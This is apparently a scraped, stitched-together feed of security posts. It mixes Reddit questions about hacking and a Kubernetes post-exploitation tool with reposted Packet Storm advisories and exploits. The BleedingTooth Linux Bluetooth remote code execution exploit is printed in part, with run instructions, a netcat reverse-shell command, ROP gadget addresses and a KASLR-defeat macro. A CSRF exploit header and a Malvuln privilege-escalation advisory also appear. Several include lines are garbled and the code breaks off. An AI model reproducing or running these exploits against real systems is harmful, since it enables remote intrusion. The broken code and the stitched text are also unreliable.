HeyContinue reading on Medium » (https://un1b1c.medium.com/playing-the-chain-game-c894018ddd1d?source=rss------bug_bounty-5)

🔥🔥 A new post-exploitation framework for Kubernetes: Kubesploit 🔥🔥
https://www.reddit.com/r/Pentesting/comments/mmukme/a_new_postexploitation_framework_for_kubernetes/

submitted by /u/kubiscan (https://www.reddit.com/user/kubiscan)
[link] (https://github.com/cyberark/kubesploit) [comments] (https://www.reddit.com/r/Pentesting/comments/mmukme/a_new_postexploitation_framework_for_kubernetes/)

Deep Web
Where are the mods?

Allowing all this spamming!?

submitted by /u/ColaManiac1
[link] [comments]

🔥🔥 A new post-exploitation framework for Kubernetes: Kubesploit 🔥🔥
https://www.reddit.com/r/redteamsec/comments/mmujvr/a_new_postexploitation_framework_for_kubernetes/

submitted by /u/kubiscan (https://www.reddit.com/user/kubiscan)
[link] (https://github.com/cyberark/kubesploit) [comments] (https://www.reddit.com/r/redteamsec/comments/mmujvr/a_new_postexploitation_framework_for_kubernetes/)

hacking: security in practice
Is there a way of getting a wifi password with an IP Address. Just with an android device?

Im not into hacking that much but i would like to know if its possible and how it works.

submitted by /u/Fanco14
[link] [comments]

hacking: security in practice
Where are the news of US hacking other countries?

I have been reading daily CyberSec (Dark Reading and SANS) news for about 4 months now (a little before the SolarWinds attack). I have seen coverage of different threat agency's and names of different hacker groups. Majority seem to be from Russia or China. However, I have not seen a single news piece in regards to US hacking something. What is the reason for this?

submitted by /u/swtbstrd
[link] [comments]

hacking: security in practice
Where are the news of US hacking other countries?

I have been reading daily CyberSec (Dark Reading and SANS) news for about 4 months now (a little before the SolarWinds attack). I have seen coverage of different threat agency's and names of different hacker groups. Majority seem to be from Russia or China. However, I have not seen a single news piece in regards to US hacking something. What is the reason for this?

submitted by /u/swtbstrd
[link] [comments]

hacking: security in practice
This squirrel.exe buisness

So I recently saw this squirrel.exe updater for ms teams and wondered what was up with it. I know it's an updater but I saw that there was a vulnerability with it as well, how would I utilize this vulnerability?

submitted by /u/jesus-da-wizard
[link] [comments]

Exploit Collector
Trojan.Win32.Hosts2.yqf Insecure Permissions

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Trojan.Win32.Hosts2.yqf malware suffers from an insecure permissions vulnerability.

MD5 | 6677ad9aed6d61f51559c907ef77ad19

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/274a6e846c5a4a2b3281198556e5568b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Hosts2.yqf
Vulnerability: Insecure Permissions
Description: Hosts2.yqf creates an insecure dir named "mlekaocYUmaae" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 274a6e846c5a4a2b3281198556e5568b
Vuln ID: MVID-2021-0162
Dropped files: HielDjixmHUfdeewc.exe
Disclosure: 04/07/2021

Exploit/PoC:
C:\>cacls \mlekaocYUmaae
C:\mlekaocYUmaae BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Linux Kernel 5.4 BleedingTooth Remote Code Execution

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Linux kernel version 5.4 BleedingTooth bluetooth zero-click proof of concept remote code execution exploit.

MD5 | 11e39065cefe8b6ef7461c14faa79210

Download
/*
* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution
* by Andy Nguyen (theflow@)
*
* This Proof-Of-Concept demonstrates the exploitation of
* CVE-2020-12351 and CVE-2020-12352.
*
* Compile using:
* $ gcc -o exploit exploit.c -lbluetooth
*
* and execute as:
* $ sudo ./exploit target_mac source_ip source_port
*
* In another terminal, run:
* $ nc -lvp 1337
* exec bash -i 2>&0 1>&0
*
* If successful, a calc can be spawned with:
* export XAUTHORITY=/run/user/1000/gdm/Xauthority
* export DISPLAY=:0
* gnome-calculator
*
* This Proof-Of-Concept has been tested against a Dell XPS 15 running
* Ubuntu 20.04.1 LTS with:
* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020
* x86_64 x86_64 x86_64 GNU/Linux
*
* The success rate of the exploit is estimated at 80%.
*/

#include <bluetooth
#include <bluetooth
#include <bluetooth
#include <bluetooth
#include <errno.h
#include <stdlib.h
#include <sys
#include <sys
#include <unistd.h

#define REMOTE_COMMAND "/bin/bash -c /bin/bash

// Increase if the heap spray is not reliable.
#define NUM_SPRAY_KMALLOC_1024 6
#define NUM_SPRAY_KMALLOC_128 6

// Increase if stuck at sending packets.
#define HCI_SEND_ACL_DATA_WAIT_USEC 5000

#define KERNEL_TEXT_BASE 0xffffffff81000000

#define KERNEL_UBUNTU_5_4_0_48 1

#ifdef KERNEL_UBUNTU_5_4_0_48
#define PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 0xffffffff81567f46
#define POP_RAX_RET 0xffffffff8103d0b1
#define POP_RDI_RET 0xffffffff8108efa0
#define JMP_RAX 0xffffffff8100005b
#define RUN_CMD 0xffffffff810ce470
#define DO_TASK_DEAD 0xffffffff810dc260

#define KASLR_DEFEAT(kaslr_offset, kernel_addr) \
do { \
if ((kernel_addr & 0xfffff) == 0xf4d8e) \
kaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xf4d8e; \
else \
kaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xc001a4; \
} while (0)
#else
#error "No kernel version defined"

Exploit Collector
DMA Radius Manager 4.4.0 Cross Site Request Forgery

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
DMA Radius Manager version 4.4.0 suffers from a cross site request forgery vulnerability.

MD5 | 531e4a4445ee19d136af401072188e0d

Download
# Exploit Title: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF)
# Date: April 8, 2021 (04/08/2021)
# Exploit Author: Issac Briones
# Vendor Homepage: http://www.dmasoftlab.com/
# Software Download: https://sourceforge.net/projects/radiusmanager/
# Version: 4.4.0
# CVE: CVE-2021-30147
< ! -- Change IP addr to IP addr that RADIUS manager is located -- >

Source:packetstormsecurity.com